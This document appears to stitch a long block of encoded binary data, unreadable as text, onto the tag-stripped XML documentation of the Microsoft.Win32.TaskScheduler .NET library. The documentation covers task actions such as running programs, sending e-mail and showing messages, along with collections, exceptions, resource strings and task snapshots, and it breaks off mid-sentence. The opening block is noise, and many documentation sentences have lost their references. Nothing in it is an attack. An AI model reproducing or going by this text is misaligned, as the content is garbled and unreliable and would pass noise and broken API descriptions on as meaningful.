zu-&(*Od*w#ZH4M}Me5VXywGU=N_AK8yz?&{*tyf4RMI8XesHJ%yz|fZ4QTZ4-MO=Y zT)4r1;h^Ijj}k&hEdc>A767P?GXH@BF=m`c9*-Y|mz(F7r5@ zmlX1~`qpakx?-uYx8OLMEH^SGq8gId<%=aLLC3k=<7}QYmubpd-I$^z$U^n+5B!N{ z(a@U4)b-iF@Lsibjh9)+MI-_Q|2Z@-j-nUNA*tE3N%D#!-fB>667$X~BrY22xQEdQ zG-*&;?B%k1FAs{sdJpdao;^u31(=!bP#w* z&e{q*jh`j27iC86&}2K8f>vgB2}fYPP=%|&k#S#=PqXMQHe(fBU5|iU@Ho5N0s1@h zS2T>Yu6H?lY_kI5zWsL9(@gk!GY#Yi z>dA7sQa4Ml)n{LDp_j!`{p@qDX-tVG=L#b%5j7+TJY)i}BqewRmQJ$k>7|>>1EtZy z!ltrTX~TIB)9XSM+eQ|EEI#QGogG>V)kg9Ig@_hwtktwC8_w7Ih8v4fvuxXESDtGb ztKqf&;M(D0-K^pITNZArT{>E_THy^Ir(;{8JeVCuPaJ>pSJPjz`wIidpYkq`vuN88 zLjxU|-&;8T1$4mrCcJbVXNSjWOPUpD?f4fH_Bh+mJ;tnnZZk_J<^nq{;={i^aO_N* zSfy!pu5GR020Uh0+dLhx{k&u6y`-|2<-ynplGX2J`lq7?mg+nHf?4iyma^KqB49^C zj=9aOHWxC{l?RF=`O@)k4G&tZ>+-^0rY&veD&~)25{qn*w&;Vfc3Wmm)whh@@1=Xjh|@lYZYi$#OJNFW&Sh5i17FA)rdec_xx z6G(&-T*DSKo6M$T$#~8ej3xcPa3+)X#iOx^FA$Ceqe*`t8Hy(zhbK__ruW-s>D*ZH z&zT)-cFo3A#}g{seaG&N{dVoD{wM|NID_<#Gch}TRLM+l)_&Sbykz4iS--}EKNhPz9a3T@&h2tqYNII4EB@)qyFB45=gV9hn zl})-G#2<_Y{n~cqWzeWy6U;I2=u8NOdv&xo9vQ4f|r*K-3ow1;W0hKOOY>)1hcQ zluINsVK(C$9GP$=5pXF`l3UNde6TsV?|pMcNr7tK&O=wnc2eExVmmrUgXRGuxoDLoR3 zWr8WcFOf@unPF5WVxfdDkjq8V*;p!&&9U|uW-ORVX0jnfoy;0@;W! zok+oFBAWEk69T?KJQ4Q?qk(kJ@3v+z98Uxi$*eCMf?PNm&G_QUY|5AQXF`E!B%Sbw zvo4?McodQOeVJ@lQpyC7d<>z|H*!Ikj|RZ(V2Wb&4B0&KXfznhiUs-+eFdQcq$h1rBh*ge>NGQZjrPvk;*2Lkz_iYjJb6Sr{lS7I+XOK zg8}t^f0~{c%J`zegrAO)N(7QF%~&p#NT!i2+-0S5v%YvF74ZcV;Z!0Wi)83Swsd-3 zEE3P9G@@v&Tp$adF)EnNrsCN|Djt#)x>=YvX88@HMO3{wk0ztBXds;OMdLyEfj3{0 zHugoSTQ;5xP)T=;#UkNMG8UleLUCjrMyDq-NF$Pn!%{98iiX`@9`Q%AiEK3POXlJU zUpSf~6!PbMk!T8rf%V#Lz55@h|D3}VP3z7^(bq)lciss_ccqSO6 z?&>{Saa&pU=c{bN?IzYz2{Lk%;WS+-lSD550OKo)$_)BZQ90B}E{-u;JIteN`YVF2 zJ!7_w))+2qNl=P~qKO>+fMFC)=jde_hI=fOjRqp&2%3PJEwJ;Wx&f+%9uvs;f((2z z#F@2Y3>4{OG+j2pKyWLOremY1e9>%{CL8cad<=6GXeO44B@=P_LBeGsnMq{)8MIqE zmZPhuQZyNunE+Zfo=GPoLB6A)(vwm8el8i80+kZUq1-+)ji*qEyq1$S}_h{BR7dDSy>9z z_CU-&G07p(0grQ&OM-3oNTtlWd2?m3Q0l|}rUxxCoo(6uMhu_LmDllp_|aGl7MWEo zYjYldwR^43B~3eu^iNB1kTbVM#N`KuhT*a%E5eMeyk{?(O1q?M-1;B_bGUSTpBZ%= zo*iGb5#xWMYV4B7*h`A{<_U}A?Dse&m%mF3^}fwm9SmSoSJ9)e$6L4yF2ydN=ed7G z%a3!XHrjcZmbI!qRT<@VLabj*;lA;8!D7a))KI_l&^CVH@wB1dbVF-&kLD@ zhCR+sw}LXRZ=(|(?>e>n{p$k$b$(W=I`PYl+P&(3QrQ6tHf8@O)zmF*{Gi8qy(?I) zbdI-BS84Ll4<&sVP?UZsjC(NZz26)qH4jE!$&nY9j9G_CYrMp~{K3u|4CS*knA4|M zdKk1_XDt1li?XGHRE5T%F~iMP82wvYr5;xweGZcO&i46%!>P_R!5xwK+M^SnVZpOy za0)Y*^BMNfBNowj^dhFMr?!OGA6~+=1@wpooOAR7jOoVz-Ms`debE(g@fgF+lV@&FE%qT~y!zPT+|A9Kp$c{;6ZXFg|Q=@C)Ig*HuVIQ5D z|47_R5B~?apOO7c9nAC}J~Q`sw(F4Gm`gWhu&^FuQq*FuX<%)|e}?S^Z(fNUy`w3Y zdvQX57@`sh&QC8XTvsT~yJR~Ha3I8O};H`~PQ5Ux8p_vfMK* z=HJz_z{8eey~p{@&jmU*?JeU%a%o{7^V^ii+2=M(rkE$8Rxb|JWY?9?Kx3I^wx!3r zy_#z^t!h$*q5O5M3GD&grt)BM!1zb)8^X^7H!SNu<*wMh_@5NYTC2+?$T)KyqxCjez+<#Ez5DDQ5D|sLcJ<@g&ACeWbR;9 zFWoYo&FloN0o|>UYOlgAucl(W^eLn=MlrQ}^8*7FoF=@36;AoeDq^=u!CPmjP;QjR zW`XkhJbc2skVYxc=QsO0$yhZq_>VXas|e68b-Hln|66KUMBJ} zao1VKXU=e5EwHnp!nnlM@H5H}dMjnzQVca}Q1>{M*$cEG@OBrdDXwxX)C-)6cz2V5 zYI3q$Wnm`qWGcf5r@5*_NqC3zV_pt>C9ZtKk%IR2?itm4b||}q=LLIC$0>Q7y}wbR zT9f^@g&o_PG^3B4=W5sH{?&0fb6o5Chcx7^epo8*uI8(fOCC?fp~@&O32sNBhU4SY zD(rVPQ=FRM=L-aVp+J8yv@Vk1f1l#`+071m$atVR4lg*HZ#I_4m}@2I85>Y@6lT>b5*viN4o!%i{4JDzH5%m|-ZviP@)O~>KoZ)>t<;NzKPj{4NC z^Om;j)v8f}Zroce7idI&zwU9IC%*KPztw*DUHmn+;|(K8t*;Tf+-&mKc!z5cr*lld zaVq>u-#E297RyHlun{Lh;etP&c(psVG>V`w>&?}OV27gv=MDVnw>6p3{}b+v-FhN_ z&L{urwjH;A{`L>{{KM_LetOv*U;gnA?^xt{)m<-s@oV?|vio1|UHk;S@a#2LJoo&?Cw=MXC-1xLmv4D`|APN^O=8K<-}%1I zKkWT(*PWwhE`QU{-+$u6_kHi=_#4hXCBff1{s#7JIAzBTpFAaY@mE&#-t?;#ORjqC zRsGwZef6L3+}`(*U%qE;@ydMoj-=F;c*E&-l{^Lygp?7~X_mj6i zyx~J%{@QC#yXI9F_kZAr7mt^hUD;dx<&M(lzJ1Mm7rpTff8FjIT72>iLn{va&!LZ> z`Q-3>&dQJd>(oD7|Lk|4yzwL3YHv9>&vEYI?@g_|Arv2$P5ix!KRNEK;zf|(C;Z0w zIEs<}F!!HCzWt4?%O!qmBE(_%%=!1BHsq^&f;$a;oJGEfqNJE z9wK}looJ=ni{HP2pCSAsaQ~jNKEdB@{9OgUkMwWw_f7CG29IYXoo_(nPq}`O^e=JU zD15?$P0~a@E=K=nf6Zaft93s3L-hRm6 z<4Xu9dC8>S^r`oMHoj+U-{QH^v2XFzn?6}+@H^v3$XPytt#6{+k4rBD?W`lA>BH%I zCuo+JRq9jVC1(|==N=hVAE(~O3qS2=we!wiLYyW!-Xn1~lf(v)mS^}FapU{&84A;f ztuH6x#ObnU=DEfui8;%pUL|TjpS_2qXqMXRtKU^;Clb=-Vr z6`Xq8YEhgtWHYn4FOYEBM)T!pz5Y`lAusUWSLM=Y+*QsKpqz3EBx*z)p8PeEd-W~o ztDU5IJ?dt1HNM#Wq{wfkHA;qw5v~Q$rW?8D`~Vd1T$I^0t2w_0>5Of>q4e;Um`UwK z^{0L~*K0>JMiP0q@U2Ex5@gZTucQYOoHH88R#cL8#?(|FR2Q#5@qse>9;uXYVM*Mh+7ZD*2KpVa^vBl-HHB?p~bNu~y~ zbL+G2>PmJ{`MKJGIp=~nrwup3w)$hh zSx4d=wj1wGE|Yv2$#mD5Z7@9`Z7bs8H<#hrC{|?!oLfO;IL)M`KE0QUtIN!6*MOsU z!7`lYB9D+kjo;`1{|MTeW1~&C=Mv_P`0NZ)LNz0QX&PzaGItdtAbY1*R7=UMB=d!@ zJhL791BPIO#5zbsk48cw88$t(;PTSQdNoRW$Tp|P_S5LYh$diG8FRX1V{UJ#reBkPPUmT$%v4Z(ePgbI zX`oH3sgqtFX?lF02GYy$)EH{#y*!=i0T%{o&fsrwGA5b=jH+doRx~4Ie;J81nsNe^muaOdp-`afNyGd;XmeyTGdaL= z$Rghk;v8MjND`gKqM#91bG|@^*Pi*N!99#!6wPm8>RI_stC#Hq_au#bYsEi=_GG@ z%VuxIoK<_48e=DMm^1eBfTgEXPTrg$c?&*ydV9Lv2V+3Nn_M2$o{sB7H+rx4uiJW~ zr-O|whJeBRn5XUffMRd-c=|j%=v5%HUNDDIbxg%%#}=cD+&iUHiQa$#cW%l%* zw(aF>%awg)PkX*RX3S=u?j-D*hdC|Rqa&WqG_}LN=N>0`dO$&B^&4e7a3yxqoHz*( zN!C1zi)F(%4{wylJSXTu&b)WfJ-wCvK^(U!T7i?@GMa+To1!+{*yma1azU9`^{jQk zvuq2EYa)DJ&KA}gB1PRrX?5 zYjAaLvrfcO8MTy23*NZK3I`cV5`#B-`ex#q-Vq{F+3xP&(|pEjL(#M~-b&o$HI&4YAsajh#) zTk_1r(ekY1WyWrcX;IIAH5x(v(RMcCtgIIjWk%Ey`sVx$1AWZ12sSkC)$X1)ZcGz* zkkK}=r){$a8JNw$N)nCT$TS2TthLR61)dwvQi!NhNQKdj=4jtiwgcR=;L1YbT1feu zth&u(yNkWq2hL%=Aab-E*9UL(Di`)JQ`_mzHs6r+%->VogQDP4t<^mX_R#0KZRM#y z?rIpv%8dB>P_a7bMCWnVwpma=+{K*L{B^m19!HOFkcN zKrg-ZtH785f6ySl#fhky9#Pk;LR-~YZvxbMFEPCfNh zSfUgl)SlhE*<$`G6e93kByz=u4ex*d`{Cp-|MD-%OMvVbU33w3x%JjtUs}H&w0|BQ zg);OB|F5^aaRd1%dcMdI$}69gcEXo=R4oAa>3(vwZn-TJX+0@5GIs4%7T0^ILAYrKhLooO8~x$jvM_-+c4dty}ND`)*gb z=E5zJAO7%%XCmA1^Upv3sZV|Ci6@?zne@dkev!zTF@%u-zoC2f-F?RB?Kk}6`mtx~ zpZMta-u}SVw?6vV*PUlJzxEBEz91X;&e)%x^TpkTKYso%)=#YY^OF`;9^G{Izr613 zrvgR)MR$C>y5!%_efX0H>bspl?M?vvw4+^5pNh-y2`I}mncDg(SzfJ43=_Ei)-ol&XnFlQ|d&rEw~Pv>^97~65VJtNvN!wZi` zWOp3>q<>^^x3g_yG8lgw`aGv)(M_!ph^yw>WuBs6)189Yo*C(=MKJiknm#d{OE)^rQ zip&|ZevT2d&+s{d$yCNguWMTNnw^qz1o$qL-{h2G&CBW&uipk})ENb%w5hk*FC=BfYxHxD!%NOR&E6`*xxNRczBdAnZA0N5-U@xL zTPUygGkeU`7FqpnLr*=Rek7QPW + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and 